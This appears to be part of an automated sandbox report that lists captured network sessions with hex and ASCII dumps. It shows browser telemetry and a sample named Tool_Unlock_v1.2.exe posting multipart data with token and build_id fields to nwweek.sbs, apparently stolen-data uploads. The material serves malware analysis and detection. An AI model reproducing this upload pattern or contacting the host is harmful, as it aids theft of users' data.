2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:43 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49839	18.161.69.30	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:43 UTC	925	OUT	GET /b?rn=1735447542504&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1005AEB16EB26DA20238BBD56F1A6CB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-29 04:45:44 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sun, 29 Dec 2024 04:45:44 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1735447542504&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1005AEB16EB26DA20238BBD56F1A6CB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=16Ec1200287814d7c335b9d1735447544; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=16Ec1200287814d7c335b9d1735447544; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 28ccd2b47efede79124bdab295098b70.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DXB52-P1 X-Amz-Cf-Id: CcPfQwL1xHUEvFey4q2g13wJH92QXBqg5RxCS5kEKrLkaOugVJc6tQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49882	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:44 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LNOZ5XL6XLN7YUAS2VAS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 4e 4f 5a 35 58 4c 36 58 4c 4e 37 59 55 41 53 32 56 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 4f 5a 35 58 4c 36 58 4c 4e 37 59 55 41 53 32 56 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 4f 5a 35 58 4c 36 58 4c 4e 37 59 55 41 53 32 56 41 53 0d 0a 43 6f 6e 74 Data Ascii: ------LNOZ5XL6XLN7YUAS2VASContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------LNOZ5XL6XLN7YUAS2VASContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------LNOZ5XL6XLN7YUAS2VASCont
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:44 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:46 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49888	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:45 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----900ZM7Y5XBIMYUKF3O89 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:45 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 30 30 5a 4d 37 59 35 58 42 49 4d 59 55 4b 46 33 4f 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 39 30 30 5a 4d 37 59 35 58 42 49 4d 59 55 4b 46 33 4f 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 39 30 30 5a 4d 37 59 35 58 42 49 4d 59 55 4b 46 33 4f 38 39 0d 0a 43 6f 6e 74 Data Ascii: ------900ZM7Y5XBIMYUKF3O89Content-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------900ZM7Y5XBIMYUKF3O89Content-Disposition: form-data; 